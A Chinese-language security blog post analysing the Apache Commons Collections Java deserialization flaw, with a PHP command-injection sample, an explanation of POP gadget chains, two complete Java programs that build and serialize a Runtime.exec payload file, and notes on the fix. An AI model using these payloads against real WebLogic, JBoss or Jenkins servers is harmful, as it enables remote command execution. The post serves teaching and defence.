博客園很早就開通了,當時下決心要把自己的經驗心得記錄上去,但是卻沒有做到,因為一直覺得自己搞得東西可能還是比較的初級,感覺拿不出手,所以也就是只是把它記錄在在印象筆記上面。三年下來,還是整理和收藏了一些筆記和心得,但也導致了一個問題,就是自己寫起來就比較的隨便,所以現在還是覺得要放到網上來,一來為了整理自己的思路,對自己這幾年做的安全的一個總結和交代,二來也希望能幫助一些人少走些彎路。后續有時間把一些自認為還可以的心得體會整理並分享出來,而且發現整理以往的漏洞和筆記時候往往會有不一樣的心得感悟。
最近研究了java、php和python三種語言反序列化導致的安全問題,覺得很比較有趣,遂整理一下思路。
其中python和php的構造和觸發漏洞的方法相對比較簡單,java的利用和構造稍微復雜,但也是通過研究java反序列化漏洞收獲也更多,感覺java的反序列化漏洞非常的典型,從中可以理解pop鏈的完整構造過程。
首先,在解析pop鏈之前,先看這樣一段php的代碼,
1 <?php 2 $dir = $_GET["dir"]; 3 if (isset($dir)) 4 { 5 echo "<pre>"; 6 system("whoami".$dir); 7 echo "<pre>"; 8 } 9 ?>
比較命令的命令注入,我們可以通過分號或者|來進行命令拼接,導致命令注入,像這樣:
最終執行了我們注入的ls命令,然后在現實的應用中基本上不會存在這么明顯的漏洞,但原理基本都是一樣,應用程序本意是接受用戶的數據,卻被別有用心的“用戶”利用導致了命令執行,現實的應用復雜在可能需要通過多步驟構造最終形成命令執行,這個過程叫做POP鏈的構造,POP是面向屬性編程(Property-Oriented Programing)常用於上層語言構造特定調用鏈的方法,與二進制利用中的面向返回編程(Return-Oriented Programing)的原理相似,都是從現有運行環境中尋找一系列的代碼或者指令調用,然后根據需求構成一組連續的調用鏈。在控制代碼或者程序的執行流程后就能夠使用這一組調用鏈做一些工作了,用鏈這個詞形容還是比較貼切的,就好比現實中的鎖鏈,一換扣一環,缺一不可。那么我們就針對於java反序列化中的這種POP鏈的構造做一個說明。
首先,在了解這個漏洞之前你需要懂一些java的基本知識,比如java的反射調用(當需要使用JVM未事先加載的class對象的時,就需要java的動態語言特性--反射機制進行動態加載)序列化(將數據結構或對象轉換成二進制串的過程)和反序列化(將在序列化過程中所生成的二進制串轉換成數據結構或者對象的過程,反序列化常用於java對象的網絡傳輸以及對象狀態需要持久化)以及apache common collections這個jar包的用途。文章可以參考這里:http://blog.csdn.net/ffm83/article/details/41865869。簡單來說common collections就是java內置標准集合類collection的一個補充和擴展庫,豐富了一些數據結構和功能。而且很多著名的應用都用到了這個擴展包,像WebLogic、WebSphere、JBoss、Jenkins、OpenNMS,所以就危害范圍來講還是比較嚴重的,危害程度也是直接命令執行,boom!
受影響的版本Apache Commons Collections <= 3.2.1,<= 4.0.0。
我這里下載了3.2.1版本,下載完成之后添加到自己的工程目錄下,還要下載一個源碼包,便於分析程序。
like this
Map類是存儲鍵值對的數據結構,Apache Commons Collections中實現了類TransformedMap,用來對Map進行某種變換,只要調用decorate()函數,傳入key和value的變換函數Transformer,即可從任意Map對象生成相應的TransformedMap,decorate()函數如下:
Transformer
是一個接口,其中定義的transform()
函數用來將一個對象轉換成另一個對象。如下所示:
當Map
中的任意項的Key或者Value被修改,相應的Transformer
就會被調用。除此以外,多個Transformer
還能串起來,形成ChainedTransformer
如下圖所示:
apache common collections jar包提供了一些實現Transformer接口的類。
本次的漏洞出現在這里InvokerTransformer這個類中,這個類不僅實現了Transformer接口,還實現了Serializable接口。
我們看一下它的Transform方法
這個transform(Object input) 中使用Java反射機制調用了input對象的一個方法,而該方法名是實例化InvokerTransformer類時傳入的iMethodName成員變量,也就是說這段反射代碼中的調用的方法名和Class對象均可控(漏洞挖掘的過程,通常也就是先找到危險函數,然后回溯函數的調用過程,最終看在這個調用的過程中用戶是否有可能控制輸入)。於是,我們可以構造一個惡意的Transformer鏈,借用InvokerTransformer.transform()執行任意命令
最終構造的payload大致是這樣:
1 package test; 2 3 import java.io.FileInputStream; 4 import java.io.FileOutputStream; 5 import java.io.ObjectInputStream; 6 import java.io.ObjectOutputStream; 7 import java.lang.annotation.Target; 8 import java.lang.reflect.Constructor; 9 //import java.util.Map; 10 import java.util.Map; 11 import java.util.Map.Entry; 12 import java.util.HashMap; 13 14 import org.apache.commons.collections.Transformer; 15 import org.apache.commons.collections.functors.ChainedTransformer; 16 import org.apache.commons.collections.functors.ConstantTransformer; 17 18 import org.apache.commons.collections.functors.InvokerTransformer; 19 import org.apache.commons.collections.map.TransformedMap; 20 21 public class Unserializ_map_payload { 22 public static void main(String[] args) throws Exception { 23 Transformer[] transformers = new Transformer[] { 24 new ConstantTransformer(Runtime.class), 25 new InvokerTransformer("getMethod", new Class[] { 26 String.class, Class[].class }, new Object[] { 27 "getRuntime", new Class[0] }), 28 new InvokerTransformer("invoke", new Class[] { 29 Object.class, Object[].class }, new Object[] { 30 null, new Object[0] }), 31 new InvokerTransformer("exec", new Class[] { 32 String.class }, new Object[] {"open /Applications/Calculator.app"})}; 33 34 Transformer transformedChain = new ChainedTransformer(transformers); 35 36 Map innerMap = new HashMap(); 37 innerMap.put("value", "value"); 38 Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); 39 40 Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); 41 onlyElement.setValue("foobar"); 42 43 } 44 }
其中惡意構造的Transformer實例其實就是通過反射調用runtime類的exec方法來進行命令執行,執行的命令是打開mac下面的計算器。
當然,如何把這個漏洞應用到用戶量巨多的web容器上呢,下一步,就是找應用程序的輸入點,讓我們能把我們的惡意代碼交給服務器去運行,對,沒錯就是反序列化,一些應用可以反序列化處理用戶的數據,在進行反序列化時,java會調用ObjectInputStream類的readObject()方法。如果被反序列化的類重寫了readObject(),那么該類在進行反序列化時,Java會優先調用重寫的readObject()方法。那么如果某個可序列化的類重寫了readObject()方法,並且在readObject()中對Map類型的變量進行了鍵值修改操作,並且這個Map變量是可控的,那么我們攻擊就完全可以自己控制了。
漏洞發現者於是在sun.reflect.annotation中找到了這個類:AnnotationInvocationHandler。該類的代碼大致如下:
1 class AnnotationInvocationHandler implements InvocationHandler, Serializable { 2 private final Class<? extends Annotation> type; 3 private final Map<String, Object> memberValues; 4 5 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { 6 this.type = type; 7 this.memberValues = memberValues; 8 } 9 ... 10 private void readObject(java.io.ObjectInputStream s) 11 throws java.io.IOException, ClassNotFoundException { 12 s.defaultReadObject(); 13 14 15 // Check to make sure that types have not evolved incompatibly 16 17 AnnotationType annotationType = null; 18 try { 19 annotationType = AnnotationType.getInstance(type); 20 } catch(IllegalArgumentException e) { 21 // Class is no longer an annotation type; all bets are off 22 return; 23 } 24 25 Map<String, Class<?>> memberTypes = annotationType.memberTypes(); 26 27 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { 28 String name = memberValue.getKey(); 29 Class<?> memberType = memberTypes.get(name); 30 if (memberType != null) { // i.e. member still exists 31 Object value = memberValue.getValue(); 32 if (!(memberType.isInstance(value) || 33 value instanceof ExceptionProxy)) { 34 // 此處觸發一系列的Transformer 35 memberValue.setValue( 36 new AnnotationTypeMismatchExceptionProxy( 37 value.getClass() + "[" + value + "]").setMember( 38 annotationType.members().get(name))); 39 } 40 } 41 } 42 }
簡直完美,不僅重寫了readobject方法,還對類型為map的memberVaule進行了setVaule的操作。
於是乎 我們可以實例化一個AnnotationInvocationHandler類,將其成員變量memberValues賦值為精心構造的惡意TransformedMap對象。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
最終的payload大致是這樣:
1 package test; 2 3 import java.io.File; 4 import java.io.FileOutputStream; 5 import java.io.ObjectOutputStream; 6 import java.lang.annotation.Target; 7 import java.lang.reflect.Constructor; 8 import java.util.HashMap; 9 import java.util.Map; 10 import java.util.Map.Entry; 11 12 import org.apache.commons.collections.Transformer; 13 import org.apache.commons.collections.functors.ChainedTransformer; 14 import org.apache.commons.collections.functors.ConstantTransformer; 15 import org.apache.commons.collections.functors.InvokerTransformer; 16 import org.apache.commons.collections.map.TransformedMap; 17 18 public class Unserializ_payload { 19 public static void main(String[] args) throws Exception { 20 Transformer[] transformers = new Transformer[] { 21 new ConstantTransformer(Runtime.class), 22 new InvokerTransformer("getMethod", new Class[] { 23 String.class, Class[].class }, new Object[] { 24 "getRuntime", new Class[0] }), 25 new InvokerTransformer("invoke", new Class[] { 26 Object.class, Object[].class }, new Object[] { 27 null, new Object[0] }), 28 new InvokerTransformer("exec", new Class[] { 29 String.class }, new Object[] {"open /Applications/Calculator.app"})}; 30 31 Transformer transformedChain = new ChainedTransformer(transformers); 32 33 Map innerMap = new HashMap(); 34 innerMap.put("value", "value"); 35 Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); 36 37 // Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); 38 // onlyElement.setValue("foobar"); 39 40 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 41 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 42 ctor.setAccessible(true); 43 Object instance = ctor.newInstance(Target.class, outerMap); 44 45 File f = new File("/Users/m0rk/Desktop/payload.bin"); 46 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 47 out.writeObject(instance); 48 out.flush(); 49 out.close(); 50 51 } 52 53 }
然后當某個應用程序去反序列化我們所生成的文件時候,就會根據我們構造POP鏈的過程進行步驟執行,最后實現我們的命令執行。
like this
然后呢,在WebLogic, WebSphere, JBoss, Jenkins, OpenNMS中會有做一些反序列化的處理,像是session處理、jenkins的cli通信都是用到了序列化,服務器會進行反序列化,那么這個時候就可以利用了。
執行鏈的過程如下:
/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator$MapEntry.setValue() TransformedMap.checkSetValue() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections <= 3.2.1 */
漏洞修復:
最新版本的apache common collections中的InvokerTransformer見這里https://github.com/apache/commons-collections/blob/trunk/src/main/java/org/apache/commons/collections4/functors/InvokerTransformer.java
可以看到已經去掉了實現serialize接口,此外還在實現的Transformer方法中將類和方法聲明為final類型(個人認為去掉了serialize的接口實現就可以堵掉這個漏洞了)。
反序列化漏洞的問題還是程序對不可信的數據進行了反序列化的操作,所以關於反序列化漏洞的修復可以通過設置允許進行反序列化類型的白名單來解決。
總結:這個POP執行鏈的構造還是比較的精巧,一環套一環,缺一不可。這里不得不佩服那些漏洞發現者,自己分析完這個漏洞也是收益良多。
參考:
1.https://security.tencent.com/index.php/blog/msg/97
2.https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
3.http://rickgray.me/2015/11/25/untrusted-deserialization-exploit-with-java.html